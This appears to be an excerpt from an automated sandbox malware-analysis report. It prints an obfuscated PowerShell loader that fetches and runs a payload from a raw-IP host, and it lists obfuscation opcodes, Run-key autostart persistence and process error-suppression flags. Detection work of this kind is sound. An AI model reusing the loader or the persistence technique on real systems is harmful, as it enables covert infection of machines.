Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process created: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe" "$Retorsionshandlingenllustrationer = 1;$Elytrigerous='S';$Elytrigerous+='ubstrin';$Elytrigerous+='g';Function Programregningsfunktionens($Ridderne){$Retorsionshandlingennfraocular=$Ridderne.Length-$Retorsionshandlingenllustrationer;For($Retorsionshandlingen=5; $Retorsionshandlingen -lt $Retorsionshandlingennfraocular; $Retorsionshandlingen+=(6)){$Outsmokes+=$Ridderne.$Elytrigerous.Invoke( $Retorsionshandlingen, $Retorsionshandlingenllustrationer);}$Outsmokes;}function Gracy216($Begrendes){. ($Antediluvianske) ($Begrendes);}$Diskoskasteren=Programregningsfunktionens 's.perM L deoLandszAccomiTurbolBrystlSu.loa Inte/Linje5.ilfo.Brneb0B,ddi illi(MamelWKortsiExoranBowkndSp,dho.urvew,ndtrsFjase utotNmilepTb,een marga1San.u0Balli.Montr0H,rsk;.ykke BrakpWxanthi ,ervnReprs6trova4Filet;D,awc vidnxT,gue6Admin4Cotra;Insci Un btrTogstvEgipt:Inter1Riv l2For e1 daun. Gens0Sknde)Neutr Trak GRepudeGuldkc BelakTandloV.rde/ edb2Uheld0Sknhe1Elek.0Nell,0 ,rot1Un,en0Skibi1savne MordFautogiKo,merDe,inearom,fShipboHapaxxStork/Inten1Splas2Ds,es1 ilsk.Fylds0Capri ';$Sprayens=Programregningsfunktionens 'NondeU rubasVa neeBe,kir For -,geblAR.bbegholose Ta dn ParatPrivi ';$Reprogrammes=Programregningsfunktionens 'Stuf.hL.muctVersit SubspCosmo:etcif/Taksa/ Impl8Morph7Far,n.Bronz1Anal,2proc,1Ungl .unpol1Unper0F,nda5varmt. Gr,n5Roc,e4,sent/SeksaOOverrmMismamT.buleLandlsForcetmis,arAtropuDiscop,iske.AarsadUnsanesaanipBrodflDiameonamatySawai ';$Kretidseffekternes=Programregningsfunktionens 'Vejkr>Phisa ';$Antediluvianske=Programregningsfunktionens 'Etam.iRaadie saddxFasts ';$Gunlaying='Forraadnelig';Gracy216 (Programregningsfunktionens ' L urS AtikeSignatRecon- geneCPen,eo.endrnNovumtPrintelailanPorphtSt ir Peatw-AngloPObitaa elvetSymbohP,esh TrvemT,ough: ,aad\ Afv I Cerid.roldrCheskt UdpasFilerfMenneo C,lorsol,ceSuavenphaneiIndlenAabengSeepssUnche1Pre i9Wi,db7Super.RadiotNiveax t rrt Duod Evole-Un mmV selraMoraklPericuUnmoueAdvoc Melle$samstG estiu AppenRe,orl TeleaAnmrkySaponiImmunn BehvgAh.eh;Chabo ');Gracy216 (Programregningsfunktionens ' FramiHabi,fCacos larit( GrectV.stfe.olfisTalertRidge-OzonopJu iaaStoddtTabarhPigl, Pse THaand:Mosen\KomplI .oemd ilker tigetEperosKrig,f ColloPl.udr SubseMad lnNonmoiKromgnEnok g SaxosHaand1 Twir9Op oe7 Lov..Fedtst An txfarvet Rede) rtss{ Ka.me KropxFaksiiUdsket Sang} Un s; Gro, ');$Kvrne = Programregningsfunktionens 'NedraeUnconcUan.ghPet ooPaatn Munke%Kys.eaCasanpfy,depSixpedOver aGravit orema Ragl%Euboe\DevelS LovgaLaa,ngPlat sNematgBug.gn JalaiTegninOvercgArbe.eSl,knr Forsn p.ileafsvo. UnshISpirinM lartH ved .fsla&Neonr&Be.ri AdiabeTro ecUdganhSvovloeksp Trink$Ambol ';Gracy216 (Programregningsfunktionens 'Slide$SvmnigImperlAvn,soT aadb Rag,aPie alFordr: DemiVGoogoiQuittrShop k TrknsMycetofodbomHomemhDr sieEffemd De,isdawsst Bf eyOprikpBrancePatrunSongbs Thri=Nonam(Am.utcPillamSulted Stev Toksi/ ilhecRajah bed Jump to behavior
Uses code obfuscation techniques (call, push, ret)
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FFD348C00BD pushad ; iretd 8_2_00007FFD348C00C1
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FFD348C0A08 push E95B63D0h; ret 8_2_00007FFD348C09C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FFD348C0988 push E95B63D0h; ret 8_2_00007FFD348C09C9
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Code function: 8_2_00007FFD349971C8 push esp; retf 8_2_00007FFD349971C9
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_0308333B pushfd ; retf 11_2_030833C1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_030833AD pushad ; retf 11_2_030833B1
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_076408D8 push eax; mov dword ptr [esp], ecx 11_2_07640AC4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_0764B144 push 8B6BAABFh; iretd 11_2_0764B149
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_07640AB8 push eax; mov dword ptr [esp], ecx 11_2_07640AC4
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_08452AF5 push ebx; ret 11_2_08452B32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_08452B41 push ebx; ret 11_2_08452B32
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Code function: 11_2_08452B63 push ebx; ret 11_2_08452B32
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975E1A push AA369B36h; iretd 17_3_08975E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975E1A push AA369B36h; iretd 17_3_08975E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975D31 push AA369B36h; iretd 17_3_08975E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975D31 push AA369B36h; iretd 17_3_08975E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_244A1BFF push eax; iretd 17_3_244A1C31
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_244AAF9A push ss; iretd 17_3_244AAFE1
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975E1A push AA369B36h; iretd 17_3_08975E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975E1A push AA369B36h; iretd 17_3_08975E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_0897839E push 8BFFFFFBh; retf 17_3_089783A3
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975D31 push AA369B36h; iretd 17_3_08975E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_3_08975D31 push AA369B36h; iretd 17_3_08975E59
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_2481D4F2 push 0E0004C8h; retf 17_2_2481DA45
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_248127FA pushad ; ret 17_2_248127F9
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_2481B008 push es; iretd 17_2_2481B009
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_2481D82D push 0E0004C8h; retf 17_2_2481DA45
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_24819939 push es; iretd 17_2_24819940
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_2481283D push eax; iretd 17_2_24812858
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_2481DA5A push 0E0004C8h; retf 17_2_2481DA45
Source: C:\Program Files (x86)\Windows Mail\wab.exe Code function: 17_2_2481225F pushad ; ret 17_2_248127F9

Boot Survival
barindex
Creates multiple autostart registry keys
Source: C:\Windows\SysWOW64\reg.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Achaque Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run VLGXKP5HJL Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Achaque Jump to behavior
Source: C:\Windows\SysWOW64\reg.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run Achaque Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run VLGXKP5HJL Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Registry value created or modified: HKEY_CURRENT_USER\SOFTWARE\Microsoft\Windows\CurrentVersion\Run VLGXKP5HJL Jump to behavior
Monitors certain registry keys / values for changes (often done to protect autostart functionality)
Source: C:\Program Files (x86)\Windows Mail\wab.exe Registry key monitored for changes: HKEY_CURRENT_USER_Classes Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\wscript.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Program Files (x86)\Windows Mail\wab.exe Process information set: NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\SysWOW64\xcopy.exe Process information set: NOGPFAULTERRORBOX | NOOPENFILEERRORBOX Jump to behavior
Source: C:\Windows\System32\rundll32.exe Process information set: NOOPENFILEERRORBOX Jump to behavior

Malware Analysis System Evasion
barindex
